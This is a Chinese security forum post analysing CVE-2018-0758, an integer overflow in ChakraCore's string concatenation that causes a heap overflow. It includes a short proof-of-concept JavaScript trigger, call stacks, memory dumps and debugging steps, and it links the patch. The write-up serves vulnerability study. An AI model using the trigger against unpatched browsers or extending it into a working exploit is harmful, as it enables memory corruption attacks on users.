首页
论坛
专栏
课程

[原创]CVE-2018-0758 字符串连接整数溢出导致堆溢出

2018-1-18 01:13 1815

[原创]CVE-2018-0758 字符串连接整数溢出导致堆溢出

2018-1-18 01:13
1815

CVE-2018-0758 字符串连接整数溢出

标签(空格分隔): Chakra


 

source:https://bugs.chromium.org/p/project-zero/issues/detail?id=1380

漏洞触发

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
    a = 'BBBBBBBBB' + a + b;
}

print(a.length);
print(b.length);
print(a[0]);

poc第9行print(a[0]);触发crash,原因是引用了a字符串的元素,引用操作会调用JavascriptString::GetItem获取元素,这个函数内部调用字符串的拷贝函数JavascriptString::Copy,在这个函数中触发了漏洞,调用堆栈如下

ChakraCore.dll!Js::ConcatStringBase::CopyImpl
ChakraCore.dll!Js::ConcatStringMulti::CopyVirtual
ChakraCore.dll!Js::JavascriptString::Copy
ChakraCore.dll!Js::JavascriptString::FinishCopy
ChakraCore.dll!Js::JavascriptString::Copy<Js::ConcatStringMulti>
ChakraCore.dll!Js::ConcatStringBase::GetSzImpl<Js::ConcatStringMulti>
ChakraCore.dll!Js::ConcatStringMulti::GetSz
ChakraCore.dll!Js::JavascriptString::GetString
ChakraCore.dll!Js::JavascriptString::GetItem
ChakraCore.dll!Js::JavascriptString::GetItemAt 
ChakraCore.dll!Js::JavascriptString::GetItem

漏洞触发了Js::ConcatStringBase::CopyImpl函数中的断言,因为copyCharLength+copiedCharLength < buff_size

  AnalysisAssert(copyCharLength <= GetLength() - copiedCharLength);

代码位于ConcatStringBase::CopyImpl函数,函数作用是拼接字符串,正常操作是先拷贝第一部分然后计入copiedCharLength,之后依次拷贝接下来的部分

const CharCount copyCharLength = s->GetLength();
AnalysisAssert(copiedCharLength + copyCharLength <= this->GetLength());
CopyHelper(&buffer[copiedCharLength], s->GetString(), copyCharLength);
copiedCharLength += copyCharLength;
continue;

这个函数是通过一个循环进行处理的,结合poc第4行中的a = 'BBBBBBBBB' + b + a;猜测ConcatStringBase::CopyImpl用于实现这个拼接过程。

 

ConcatStringBase::CopyImpl函数中,参数int itemCount表示拼接字符串个数,参数JavascriptString * const * items表示传入的各字符串指针的数组。

 

在函数处理中会首先会依次取出items数组中保存的各个字符串,字符串类型是JavascriptString对象

for(int i = 0; i < itemCount; ++i)
        {
            JavascriptString *const s = items[i];
            ...

依次看items数组中的字符串内容

items
0x000001E0C762F9A8  000001e0c7078e60 000001e0c7079400  `?.??....?.??...
0x000001E0C762F9B8  000001e0c762f940 00007ff89cacc908  @?b??....????...
items[0]
0x000001E0C7078E60  00007ff89cacc258 000001e0c70443c0  X????...?C.??...
0x000001E0C7078E70  000001e0c7148100 0000000000000009  .?.??...........

0x000001E0C7148100  0042004200420042 0042004200420042  B.B.B.B.B.B.B.B.
0x000001E0C7148110  0000000000000042 0000000000000000  B...............
items[1]
0x000001E0C7079400  00007ff89cacc258 000001e0c70443c0  X????...?C.??...
0x000001E0C7079410  000001e0c71e0020 0000000000010000   ..??...........

0x000001E0C71E0020  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0030  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0040  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0050  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0060  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0070  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0080  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E0090  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
0x000001E0C71E00A0  0041004100410041 0041004100410041  A.A.A.A.A.A.A.A.
...
items[2]
0x000001E0C762F940  00007ff89cacc908 000001e0c70443c0  .????...?C.??...
0x000001E0C762F950  0000000000000000 00000000ffffffaf  ........?.......
0x000001E0C762F960  0000000000000003 000001e0c7078e60  ........`?.??...
0x000001E0C762F970  000001e0c7079400 000001e0c762f900  .?.??....?b??...

0x0007ff89cacc908 ConcatStringBase::vtable

之后依次对各字符串进行拷贝操作,使各字符串首尾相接

if (s->IsFinalized())//检测是否存在m_pszValue
{
    // If we have the buffer already, just copy it
    const CharCount copyCharLength = s->GetLength();
    AnalysisAssert(copiedCharLength + copyCharLength <= this->GetLength());
    CopyHelper(&buffer[copiedCharLength], s->GetString(), copyCharLength);
    copiedCharLength += copyCharLength;
    continue;
}

漏洞原理

调试发现程序会调用ConcatStringBase::CopyImpl9次,并不是poc中的循环次数0x10000次。修改循环次数为0x20,发现会调用32次ConcatStringBase::CopyImpl函数并且不会发生crash
图片描述

 

说明每次调用函数ConcatStringBase::CopyImpl都对应着poc中for循环的一次字符串链接操作,在调试过程中发现进行拷贝时拷贝的尺寸的大小是预先设定的,修改poc如下

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x1; i++) {
    a = 'BBBBBBBBB' + b + a;
}

print(a[0]);

图片描述
可以看到当设定循环次数为1时,代表目标缓冲区的m_charLength大小为65545

let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x2; i++) {
    a = 'BBBBBBBBB' + b + a;
}

print(a[0]);

图片描述
当设定次数为2时,目标m_charLength为131090,说明每次的大小为65545字节,因为m_charLength的类型unsigned int,所以当for循环设置为0x10000时会发生整数溢出成为一个较小的正数。
图片描述]
图片描述

其他

这个漏洞进一步的溢出发生地点与Lowerer::LowerSetConcatStrMultiItem函数有关,在原链接中 lokihardt已做出分析,感兴趣的同学可以看一下漏洞的修补
https://github.com/Microsoft/ChakraCore/pull/4503/commits/4db0bd20ac5f5a4e260653a10269fef9ef51f91f



[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

最后于 2019-2-1 16:24 被admin编辑 ,原因:
上一主题 下一主题
最新回复 (0)
游客
登录 | 注册 方可回帖
返回